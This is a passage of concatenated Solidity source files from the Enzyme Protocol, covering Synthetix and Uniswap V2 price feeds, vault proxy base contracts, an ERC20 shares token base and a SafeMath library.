"updateSynthCurrencyKeys: Synth has correct currencyKey"
);
synthToCurrencyKey[_synths[i]] = nextCurrencyKey;
emit SynthCurrencyKeyUpdated(_synths[i], prevCurrencyKey, nextCurrencyKey);
}
}
/// @dev Helper to add Synths
function __addSynths(address[] memory _synths) private {
for (uint256 i; i < _synths.length; i++) {
require(synthToCurrencyKey[_synths[i]] == 0, "__addSynths: Value already set");
bytes32 currencyKey = __getCurrencyKey(_synths[i]);
require(currencyKey != 0, "__addSynths: No currencyKey");
synthToCurrencyKey[_synths[i]] = currencyKey;
emit SynthAdded(_synths[i], currencyKey);
}
}
/// @dev Helper to query a currencyKey from Synthetix
function __getCurrencyKey(address _synthProxy) private view returns (bytes32 currencyKey_) {
return ISynthetixSynth(ISynthetixProxyERC20(_synthProxy).target()).currencyKey();
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the `ADDRESS_RESOLVER` variable
/// @return addressResolver_ The `ADDRESS_RESOLVER` variable value
function getAddressResolver() external view returns (address) {
return ADDRESS_RESOLVER;
}
/// @notice Gets the currencyKey for multiple given Synths
/// @return currencyKeys_ The currencyKey values
function getCurrencyKeysForSynths(address[] calldata _synths)
external
view
returns (bytes32[] memory currencyKeys_)
{
currencyKeys_ = new bytes32[](_synths.length);
for (uint256 i; i < _synths.length; i++) {
currencyKeys_[i] = synthToCurrencyKey[_synths[i]];
}
return currencyKeys_;
}
/// @notice Gets the `SUSD` variable
/// @return susd_ The `SUSD` variable value
function getSUSD() external view returns (address susd_) {
return SUSD;
}
/// @notice Gets the currencyKey for a given Synth
/// @return currencyKey_ The currencyKey value
function getCurrencyKeyForSynth(address _synth) public view returns (bytes32 currencyKey_) {
return synthToCurrencyKey[_synth];
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title ISynthetixAddressResolver Interface
/// @author Enzyme Council <[email protected]>
interface ISynthetixAddressResolver {
function requireAndGetAddress(bytes32, string calldata) external view returns (address);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title ISynthetixExchanger Interface
/// @author Enzyme Council <[email protected]>
interface ISynthetixExchanger {
function getAmountsForExchange(
uint256,
bytes32,
bytes32
)
external
view
returns (
uint256,
uint256,
uint256
);
function settle(address, bytes32)
external
returns (
uint256,
uint256,
uint256
);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title ISynthetix Interface
/// @author Enzyme Council <[email protected]>
interface ISynthetix {
function exchangeOnBehalfWithTracking(
address,
bytes32,
uint256,
bytes32,
address,
bytes32
) external returns (uint256);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title ISynthetixExchangeRates Interface
/// @author Enzyme Council <[email protected]>
interface ISynthetixExchangeRates {
function rateAndInvalid(bytes32) external view returns (uint256, bool);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title ISynthetixProxyERC20 Interface
/// @author Enzyme Council <[email protected]>
interface ISynthetixProxyERC20 {
function target() external view returns (address);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title ISynthetixSynth Interface
/// @author Enzyme Council <[email protected]>
interface ISynthetixSynth {
function currencyKey() external view returns (bytes32);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../../../persistent/dispatcher/IDispatcher.sol";
/// @title DispatcherOwnerMixin Contract
/// @author Enzyme Council <[email protected]>
/// @notice A mixin contract that defers ownership to the owner of Dispatcher
abstract contract DispatcherOwnerMixin {
address internal immutable DISPATCHER;
modifier onlyDispatcherOwner() {
require(
msg.sender == getOwner(),
"onlyDispatcherOwner: Only the Dispatcher owner can call this function"
);
_;
}
constructor(address _dispatcher) public {
DISPATCHER = _dispatcher;
}
/// @notice Gets the owner of this contract
/// @return owner_ The owner
/// @dev Ownership is deferred to the owner of the Dispatcher contract
function getOwner() public view returns (address owner_) {
return IDispatcher(DISPATCHER).getOwner();
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the `DISPATCHER` variable
/// @return dispatcher_ The `DISPATCHER` variable value
function getDispatcher() external view returns (address dispatcher_) {
return DISPATCHER;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IDerivativePriceFeed Interface
/// @author Enzyme Council <[email protected]>
/// @notice Simple interface for derivative price source oracle implementations
interface IDerivativePriceFeed {
function calcUnderlyingValues(address, uint256)
external
returns (address[] memory, uint256[] memory);
function isSupportedAsset(address) external view returns (bool);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "./VaultLibBaseCore.sol";
/// @title VaultLibBase1 Contract
/// @author Enzyme Council <[email protected]>
/// @notice The first implementation of VaultLibBaseCore, with additional events and storage
/// @dev All subsequent implementations should inherit the previous implementation,
/// e.g., `VaultLibBase2 is VaultLibBase1`
/// DO NOT EDIT CONTRACT.
abstract contract VaultLibBase1 is VaultLibBaseCore {
event AssetWithdrawn(address indexed asset, address indexed target, uint256 amount);
event TrackedAssetAdded(address asset);
event TrackedAssetRemoved(address asset);
address[] internal trackedAssets;
mapping(address => bool) internal assetToIsTracked;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../utils/IMigratableVault.sol";
import "./utils/ProxiableVaultLib.sol";
import "./utils/SharesTokenBase.sol";
/// @title VaultLibBaseCore Contract
/// @author Enzyme Council <[email protected]>
/// @notice A persistent contract containing all required storage variables and
/// required functions for a VaultLib implementation
/// @dev DO NOT EDIT CONTRACT. If new events or storage are necessary, they should be added to
/// a numbered VaultLibBaseXXX that inherits the previous base. See VaultLibBase1.
abstract contract VaultLibBaseCore is IMigratableVault, ProxiableVaultLib, SharesTokenBase {
event AccessorSet(address prevAccessor, address nextAccessor);
event MigratorSet(address prevMigrator, address nextMigrator);
event OwnerSet(address prevOwner, address nextOwner);
event VaultLibSet(address prevVaultLib, address nextVaultLib);
address internal accessor;
address internal creator;
address internal migrator;
address internal owner;
// EXTERNAL FUNCTIONS
/// @notice Initializes the VaultProxy with core configuration
/// @param _owner The address to set as the fund owner
/// @param _accessor The address to set as the permissioned accessor of the VaultLib
/// @param _fundName The name of the fund
/// @dev Serves as a per-proxy pseudo-constructor
function init(
address _owner,
address _accessor,
string calldata _fundName
) external override {
require(creator == address(0), "init: Proxy already initialized");
creator = msg.sender;
sharesName = _fundName;
__setAccessor(_accessor);
__setOwner(_owner);
emit VaultLibSet(address(0), getVaultLib());
}
/// @notice Sets the permissioned accessor of the VaultLib
/// @param _nextAccessor The address to set as the permissioned accessor of the VaultLib
function setAccessor(address _nextAccessor) external override {
require(msg.sender == creator, "setAccessor: Only callable by the contract creator");
__setAccessor(_nextAccessor);
}
/// @notice Sets the VaultLib target for the VaultProxy
/// @param _nextVaultLib The address to set as the VaultLib
/// @dev This function is absolutely critical. __updateCodeAddress() validates that the
/// target is a valid Proxiable contract instance.
/// Does not block _nextVaultLib from being the same as the current VaultLib
function setVaultLib(address _nextVaultLib) external override {
require(msg.sender == creator, "setVaultLib: Only callable by the contract creator");
address prevVaultLib = getVaultLib();
__updateCodeAddress(_nextVaultLib);
emit VaultLibSet(prevVaultLib, _nextVaultLib);
}
// PUBLIC FUNCTIONS
/// @notice Checks whether an account is allowed to migrate the VaultProxy
/// @param _who The account to check
/// @return canMigrate_ True if the account is allowed to migrate the VaultProxy
function canMigrate(address _who) public view virtual override returns (bool canMigrate_) {
return _who == owner || _who == migrator;
}
/// @notice Gets the VaultLib target for the VaultProxy
/// @return vaultLib_ The address of the VaultLib target
function getVaultLib() public view returns (address vaultLib_) {
assembly {
// solium-disable-line
vaultLib_ := sload(0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc)
}
return vaultLib_;
}
// INTERNAL FUNCTIONS
/// @dev Helper to set the permissioned accessor of the VaultProxy.
/// Does not prevent the prevAccessor from being the _nextAccessor.
function __setAccessor(address _nextAccessor) internal {
require(_nextAccessor != address(0), "__setAccessor: _nextAccessor cannot be empty");
address prevAccessor = accessor;
accessor = _nextAccessor;
emit AccessorSet(prevAccessor, _nextAccessor);
}
/// @dev Helper to set the owner of the VaultProxy
function __setOwner(address _nextOwner) internal {
require(_nextOwner != address(0), "__setOwner: _nextOwner cannot be empty");
address prevOwner = owner;
require(_nextOwner != prevOwner, "__setOwner: _nextOwner is the current owner");
owner = _nextOwner;
emit OwnerSet(prevOwner, _nextOwner);
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title ProxiableVaultLib Contract
/// @author Enzyme Council <[email protected]>
/// @notice A contract that defines the upgrade behavior for VaultLib instances
/// @dev The recommended implementation of the target of a proxy according to EIP-1822 and EIP-1967
/// Code position in storage is `bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)`,
/// which is "0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc".
abstract contract ProxiableVaultLib {
/// @dev Updates the target of the proxy to be the contract at _nextVaultLib
function __updateCodeAddress(address _nextVaultLib) internal {
require(
bytes32(0x027b9570e9fedc1a80b937ae9a06861e5faef3992491af30b684a64b3fbec7a5) ==
ProxiableVaultLib(_nextVaultLib).proxiableUUID(),
"__updateCodeAddress: _nextVaultLib not compatible"
);
assembly {
// solium-disable-line
sstore(
0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc,
_nextVaultLib
)
}
}
/// @notice Returns a unique bytes32 hash for VaultLib instances
/// @return uuid_ The bytes32 hash representing the UUID
/// @dev The UUID is `bytes32(keccak256('mln.proxiable.vaultlib'))`
function proxiableUUID() public pure returns (bytes32 uuid_) {
return 0x027b9570e9fedc1a80b937ae9a06861e5faef3992491af30b684a64b3fbec7a5;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "./VaultLibSafeMath.sol";
/// @title StandardERC20 Contract
/// @author Enzyme Council <[email protected]>
/// @notice Contains the storage, events, and default logic of an ERC20-compliant contract.
/// @dev The logic can be overridden by VaultLib implementations.
/// Adapted from OpenZeppelin 3.2.0.
/// DO NOT EDIT THIS CONTRACT.
abstract contract SharesTokenBase {
using VaultLibSafeMath for uint256;
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
string internal sharesName;
string internal sharesSymbol;
uint256 internal sharesTotalSupply;
mapping(address => uint256) internal sharesBalances;
mapping(address => mapping(address => uint256)) internal sharesAllowances;
// EXTERNAL FUNCTIONS
/// @dev Standard implementation of ERC20's approve(). Can be overridden.
function approve(address _spender, uint256 _amount) public virtual returns (bool) {
__approve(msg.sender, _spender, _amount);
return true;
}
/// @dev Standard implementation of ERC20's transfer(). Can be overridden.
function transfer(address _recipient, uint256 _amount) public virtual returns (bool) {
__transfer(msg.sender, _recipient, _amount);
return true;
}
/// @dev Standard implementation of ERC20's transferFrom(). Can be overridden.
function transferFrom(
address _sender,
address _recipient,
uint256 _amount
) public virtual returns (bool) {
__transfer(_sender, _recipient, _amount);
__approve(
_sender,
msg.sender,
sharesAllowances[_sender][msg.sender].sub(
_amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
// EXTERNAL FUNCTIONS - VIEW
/// @dev Standard implementation of ERC20's allowance(). Can be overridden.
function allowance(address _owner, address _spender) public view virtual returns (uint256) {
return sharesAllowances[_owner][_spender];
}
/// @dev Standard implementation of ERC20's balanceOf(). Can be overridden.
function balanceOf(address _account) public view virtual returns (uint256) {
return sharesBalances[_account];
}
/// @dev Standard implementation of ERC20's decimals(). Can not be overridden.
function decimals() public pure returns (uint8) {
return 18;
}
/// @dev Standard implementation of ERC20's name(). Can be overridden.
function name() public view virtual returns (string memory) {
return sharesName;
}
/// @dev Standard implementation of ERC20's symbol(). Can be overridden.
function symbol() public view virtual returns (string memory) {
return sharesSymbol;
}
/// @dev Standard implementation of ERC20's totalSupply(). Can be overridden.
function totalSupply() public view virtual returns (uint256) {
return sharesTotalSupply;
}
// INTERNAL FUNCTIONS
/// @dev Helper for approve(). Can be overridden.
function __approve(
address _owner,
address _spender,
uint256 _amount
) internal virtual {
require(_owner != address(0), "ERC20: approve from the zero address");
require(_spender != address(0), "ERC20: approve to the zero address");
sharesAllowances[_owner][_spender] = _amount;
emit Approval(_owner, _spender, _amount);
}
/// @dev Helper to burn tokens from an account. Can be overridden.
function __burn(address _account, uint256 _amount) internal virtual {
require(_account != address(0), "ERC20: burn from the zero address");
sharesBalances[_account] = sharesBalances[_account].sub(
_amount,
"ERC20: burn amount exceeds balance"
);
sharesTotalSupply = sharesTotalSupply.sub(_amount);
emit Transfer(_account, address(0), _amount);
}
/// @dev Helper to mint tokens to an account. Can be overridden.
function __mint(address _account, uint256 _amount) internal virtual {
require(_account != address(0), "ERC20: mint to the zero address");
sharesTotalSupply = sharesTotalSupply.add(_amount);
sharesBalances[_account] = sharesBalances[_account].add(_amount);
emit Transfer(address(0), _account, _amount);
}
/// @dev Helper to transfer tokens between accounts. Can be overridden.
function __transfer(
address _sender,
address _recipient,
uint256 _amount
) internal virtual {
require(_sender != address(0), "ERC20: transfer from the zero address");
require(_recipient != address(0), "ERC20: transfer to the zero address");
sharesBalances[_sender] = sharesBalances[_sender].sub(
_amount,
"ERC20: transfer amount exceeds balance"
);
sharesBalances[_recipient] = sharesBalances[_recipient].add(_amount);
emit Transfer(_sender, _recipient, _amount);
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title VaultLibSafeMath library
/// @notice A narrowed, verbatim implementation of OpenZeppelin 3.2.0 SafeMath
/// for use with VaultLib
/// @dev Preferred to importing from npm to guarantee consistent logic and revert reasons
/// between VaultLib implementations
/// DO NOT EDIT THIS CONTRACT
library VaultLibSafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "VaultLibSafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "VaultLibSafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "VaultLibSafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "VaultLibSafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "VaultLibSafeMath: modulo by zero");
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "./IDerivativePriceFeed.sol";
/// @title IDerivativePriceFeed Interface
/// @author Enzyme Council <[email protected]>
interface IAggregatedDerivativePriceFeed is IDerivativePriceFeed {
function getPriceFeedForDerivative(address) external view returns (address);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "../../../../interfaces/IUniswapV2Pair.sol";
import "../../../../utils/MathHelpers.sol";
import "../../../utils/DispatcherOwnerMixin.sol";
import "../../../value-interpreter/ValueInterpreter.sol";
import "../../primitives/IPrimitivePriceFeed.sol";
import "../../utils/UniswapV2PoolTokenValueCalculator.sol";
import "../IDerivativePriceFeed.sol";
/// @title UniswapV2PoolPriceFeed Contract
/// @author Enzyme Council <[email protected]>
/// @notice Price feed for Uniswap lending pool tokens
contract UniswapV2PoolPriceFeed is
IDerivativePriceFeed,
DispatcherOwnerMixin,
MathHelpers,
UniswapV2PoolTokenValueCalculator
{
event PoolTokenAdded(address indexed poolToken, address token0, address token1);
struct PoolTokenInfo {
address token0;
address token1;
uint8 token0Decimals;
uint8 token1Decimals;
}
uint256 private constant POOL_TOKEN_UNIT = 10**18;
address private immutable DERIVATIVE_PRICE_FEED;
address private immutable FACTORY;
address private immutable PRIMITIVE_PRICE_FEED;
address private immutable VALUE_INTERPRETER;
mapping(address => PoolTokenInfo) private poolTokenToInfo;
constructor(
address _dispatcher,
address _derivativePriceFeed,
address _primitivePriceFeed,
address _valueInterpreter,
address _factory,
address[] memory _poolTokens
) public DispatcherOwnerMixin(_dispatcher) {
DERIVATIVE_PRICE_FEED = _derivativePriceFeed;
FACTORY = _factory;
PRIMITIVE_PRICE_FEED = _primitivePriceFeed;
VALUE_INTERPRETER = _valueInterpreter;
__addPoolTokens(_poolTokens, _derivativePriceFeed, _primitivePriceFeed);
}
/// @notice Converts a given amount of a derivative to its underlying asset values
/// @param _derivative The derivative to convert
/// @param _derivativeAmount The amount of the derivative to convert
/// @return underlyings_ The underlying assets for the _derivative
/// @return underlyingAmounts_ The amount of each underlying asset for the equivalent derivative amount
function calcUnderlyingValues(address _derivative, uint256 _derivativeAmount)
external
override
returns (address[] memory underlyings_, uint256[] memory underlyingAmounts_)
{
PoolTokenInfo memory poolTokenInfo = poolTokenToInfo[_derivative];
underlyings_ = new address[](2);
underlyings_[0] = poolTokenInfo.token0;
underlyings_[1] = poolTokenInfo.token1;
// Calculate the amounts underlying one unit of a pool token,
// taking into account the known, trusted rate between the two underlyings
(uint256 token0TrustedRateAmount, uint256 token1TrustedRateAmount) = __calcTrustedRate(
poolTokenInfo.token0,
poolTokenInfo.token1,
poolTokenInfo.token0Decimals,
poolTokenInfo.token1Decimals
);
(
uint256 token0DenormalizedRate,
uint256 token1DenormalizedRate
) = __calcTrustedPoolTokenValue(
FACTORY,
_derivative,
token0TrustedRateAmount,
token1TrustedRateAmount
);
// Define normalized rates for each underlying
underlyingAmounts_ = new uint256[](2);
underlyingAmounts_[0] = _derivativeAmount.mul(token0DenormalizedRate).div(POOL_TOKEN_UNIT);
underlyingAmounts_[1] = _derivativeAmount.mul(token1DenormalizedRate).div(POOL_TOKEN_UNIT);
return (underlyings_, underlyingAmounts_);
}
/// @notice Checks if an asset is supported by the price feed
/// @param _asset The asset to check
/// @return isSupported_ True if the asset is supported
function isSupportedAsset(address _asset) public view override returns (bool isSupported_) {
return poolTokenToInfo[_asset].token0 != address(0);
}
// PRIVATE FUNCTIONS
/// @dev Calculates the trusted rate of two assets based on our price feeds.
/// Uses the decimals-derived unit for whichever asset is used as the quote asset.
function __calcTrustedRate(
address _token0,
address _token1,
uint256 _token0Decimals,
uint256 _token1Decimals
) private returns (uint256 token0RateAmount_, uint256 token1RateAmount_) {
bool rateIsValid;
// The quote asset of the value lookup must be a supported primitive asset,
// so we cycle through the tokens until reaching a primitive.
// If neither is a primitive, will revert at the ValueInterpreter
if (IPrimitivePriceFeed(PRIMITIVE_PRICE_FEED).isSupportedAsset(_token0)) {
token1RateAmount_ = 10**_token1Decimals;
(token0RateAmount_, rateIsValid) = ValueInterpreter(VALUE_INTERPRETER)
.calcCanonicalAssetValue(_token1, token1RateAmount_, _token0);
} else {
token0RateAmount_ = 10**_token0Decimals;
(token1RateAmount_, rateIsValid) = ValueInterpreter(VALUE_INTERPRETER)
.calcCanonicalAssetValue(_token0, token0RateAmount_, _token1);
}
require(rateIsValid, "__calcTrustedRate: Invalid rate");
return (token0RateAmount_, token1RateAmount_);
}
//////////////////////////
// POOL TOKENS REGISTRY //
//////////////////////////
/// @notice Adds Uniswap pool tokens to the price feed
/// @param _poolTokens Uniswap pool tokens to add
function addPoolTokens(address[] calldata _poolTokens) external onlyDispatcherOwner {
require(_poolTokens.length > 0, "addPoolTokens: Empty _poolTokens");
__addPoolTokens(_poolTokens, DERIVATIVE_PRICE_FEED, PRIMITIVE_PRICE_FEED);
}
/// @dev Helper to add Uniswap pool tokens
function __addPoolTokens(
address[] memory _poolTokens,
address _derivativePriceFeed,
address _primitivePriceFeed
) private {
for (uint256 i; i < _poolTokens.length; i++) {
require(_poolTokens[i] != address(0), "__addPoolTokens: Empty poolToken");
require(
poolTokenToInfo[_poolTokens[i]].token0 == address(0),
"__addPoolTokens: Value already set"
);
IUniswapV2Pair uniswapV2Pair = IUniswapV2Pair(_poolTokens[i]);
address token0 = uniswapV2Pair.token0();
address token1 = uniswapV2Pair.token1();
require(
__poolTokenIsSupportable(
_derivativePriceFeed,
_primitivePriceFeed,
token0,
token1
),
"__addPoolTokens: Unsupported pool token"
);
poolTokenToInfo[_poolTokens[i]] = PoolTokenInfo({
token0: token0,
token1: token1,
token0Decimals: ERC20(token0).decimals(),
token1Decimals: ERC20(token1).decimals()
});
emit PoolTokenAdded(_poolTokens[i], token0, token1);
}
}
/// @dev Helper to determine if a pool token is supportable, based on whether price feeds are
/// available for its underlying feeds. At least one of the underlying tokens must be
/// a supported primitive asset, and the other must be a primitive or derivative.
function __poolTokenIsSupportable(
address _derivativePriceFeed,
address _primitivePriceFeed,
address _token0,
address _token1
) private view returns (bool isSupportable_) {
IDerivativePriceFeed derivativePriceFeedContract = IDerivativePriceFeed(
_derivativePriceFeed
);
IPrimitivePriceFeed primitivePriceFeedContract = IPrimitivePriceFeed(_primitivePriceFeed);
if (primitivePriceFeedContract.isSupportedAsset(_token0)) {
if (
primitivePriceFeedContract.isSupportedAsset(_token1) ||
derivativePriceFeedContract.isSupportedAsset(_token1)
) {
return true;
}
} else if (
derivativePriceFeedContract.isSupportedAsset(_token0) &&
primitivePriceFeedContract.isSupportedAsset(_token1)
) {
return true;
}
return false;
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the `DERIVATIVE_PRICE_FEED` variable value
/// @return derivativePriceFeed_ The `DERIVATIVE_PRICE_FEED` variable value
function getDerivativePriceFeed() external view returns (address derivativePriceFeed_) {
return DERIVATIVE_PRICE_FEED;
}
/// @notice Gets the `FACTORY` variable value
/// @return factory_ The `FACTORY` variable value
function getFactory() external view returns (address factory_) {
return FACTORY;
}
/// @notice Gets the `PoolTokenInfo` for a given pool token
/// @param _poolToken The pool token for which to get the `PoolTokenInfo`
/// @return poolTokenInfo_ The `PoolTokenInfo` value
function getPoolTokenInfo(address _poolToken)
external
view
returns (PoolTokenInfo memory poolTokenInfo_)
{
return poolTokenToInfo[_poolToken];
}
/// @notice Gets the underlyings for a given pool token
/// @param _poolToken The pool token for which to get its underlyings
/// @return token0_ The UniswapV2Pair.token0 value
/// @return token1_ The UniswapV2Pair.token1 value
function getPoolTokenUnderlyings(address _poolToken)
external
view
returns (address token0_, address token1_)
{
return (poolTokenToInfo[_poolToken].token0, poolTokenToInfo[_poolToken].token1);
}
/// @notice Gets the `PRIMITIVE_PRICE_FEED` variable value
/// @return primitivePriceFeed_ The `PRIMITIVE_PRICE_FEED` variable value
function getPrimitivePriceFeed() external view returns (address primitivePriceFeed_) {
return PRIMITIVE_PRICE_FEED;
}
/// @notice Gets the `VALUE_INTERPRETER` variable value
/// @return valueInterpreter_ The `VALUE_INTERPRETER` variable value
function getValueInterpreter() external view returns (address valueInterpreter_) {
return VALUE_INTERPRETER;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IUniswapV2Pair Interface
/// @author Enzyme Council <[email protected]>
/// @notice Minimal interface for our interactions with the Uniswap V2's Pair contract
interface IUniswapV2Pair {
function getReserves()
external
view
returns (
uint112,
uint112,
uint32
);
function kLast() external view returns (uint256);
function token0() external view returns (address);
function token1() external view returns (address);
function totalSupply() external view returns (uint256);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "../../../interfaces/IUniswapV2Factory.sol";
import "../../../interfaces/IUniswapV2Pair.sol";
/// @title UniswapV2PoolTokenValueCalculator Contract
/// @author Enzyme Council <[email protected]>
/// @notice Abstract contract for computing the value of Uniswap liquidity pool tokens
/// @dev Unless otherwise noted, these functions are adapted to our needs and style guide from
/// an un-merged Uniswap branch:
/// https://github.com/Uniswap/uniswap-v2-periphery/blob/267ba44471f3357071a2fe2573fe4da42d5ad969/contracts/libraries/UniswapV2LiquidityMathLibrary.sol
abstract contract UniswapV2PoolTokenValueCalculator {
using SafeMath for uint256;
uint256 private constant POOL_TOKEN_UNIT = 10**18;
// INTERNAL FUNCTIONS
/// @dev Given a Uniswap pool with token0 and token1 and their trusted rate,
/// returns the value of one pool token unit in terms of token0 and token1.
/// This is the only function used outside of this contract.
function __calcTrustedPoolTokenValue(
address _factory,
address _pair,
uint256 _token0TrustedRateAmount,
uint256 _token1TrustedRateAmount
) internal view returns (uint256 token0Amount_, uint256 token1Amount_) {
(uint256 reserve0, uint256 reserve1) = __calcReservesAfterArbitrage(
_pair,
_token0TrustedRateAmount,
_token1TrustedRateAmount
);
return __calcPoolTokenValue(_factory, _pair, reserve0, reserve1);
}
// PRIVATE FUNCTIONS
/// @dev Computes liquidity value given all the parameters of the pair
function __calcPoolTokenValue(
address _factory,
address _pair,
uint256 _reserve0,
uint256 _reserve1
) private view returns (uint256 token0Amount_, uint256 token1Amount_) {
IUniswapV2Pair pairContract = IUniswapV2Pair(_pair);
uint256 totalSupply = pairContract.totalSupply();
if (IUniswapV2Factory(_factory).feeTo() != address(0)) {
uint256 kLast = pairContract.kLast();
if (kLast > 0) {
uint256 rootK = __uniswapSqrt(_reserve0.mul(_reserve1));
uint256 rootKLast = __uniswapSqrt(kLast);
if (rootK > rootKLast) {
uint256 numerator = totalSupply.mul(rootK.sub(rootKLast));
uint256 denominator = rootK.mul(5).add(rootKLast);
uint256 feeLiquidity = numerator.div(denominator);
totalSupply = totalSupply.add(feeLiquidity);
}
}
}
return (
_reserve0.mul(POOL_TOKEN_UNIT).div(totalSupply),
_reserve1.mul(POOL_TOKEN_UNIT).div(totalSupply)
);
}
/// @dev Calculates the direction and magnitude of the profit-maximizing trade
function __calcProfitMaximizingTrade(
uint256 _token0TrustedRateAmount,
uint256 _token1TrustedRateAmount,
uint256 _reserve0,
uint256 _reserve1
) private pure returns (bool token0ToToken1_, uint256 amountIn_) {
token0ToToken1_ =
_reserve0.mul(_token1TrustedRateAmount).div(_reserve1) < _token0TrustedRateAmount;
uint256 leftSide;
uint256 rightSide;
if (token0ToToken1_) {
leftSide = __uniswapSqrt(
_reserve0.mul(_reserve1).mul(_token0TrustedRateAmount).mul(1000).div(
_token1TrustedRateAmount.mul(997)
)
);
rightSide = _reserve0.mul(1000).div(997);
} else {
leftSide = __uniswapSqrt(
_reserve0.mul(_reserve1).mul(_token1TrustedRateAmount).mul(1000).div(
_token0TrustedRateAmount.mul(997)
)
);
rightSide = _reserve1.mul(1000).div(997);
}
if (leftSide < rightSide) {
return (false, 0);
}
// Calculate the amount that must be sent to move the price to the profit-maximizing price
amountIn_ = leftSide.sub(rightSide);
return (token0ToToken1_, amountIn_);
}
/// @dev Calculates the pool reserves after an arbitrage moves the price to
/// the profit-maximizing rate, given an externally-observed trusted rate
/// between the two pooled assets
function __calcReservesAfterArbitrage(
address _pair,
uint256 _token0TrustedRateAmount,
uint256 _token1TrustedRateAmount
) private view returns (uint256 reserve0_, uint256 reserve1_) {
(reserve0_, reserve1_, ) = IUniswapV2Pair(_pair).getReserves();
// Skip checking whether the reserve is 0, as this is extremely unlikely given how
// initial pool liquidity is locked, and since we maintain a list of registered pool tokens
// Calculate how much to swap to arb to the trusted price
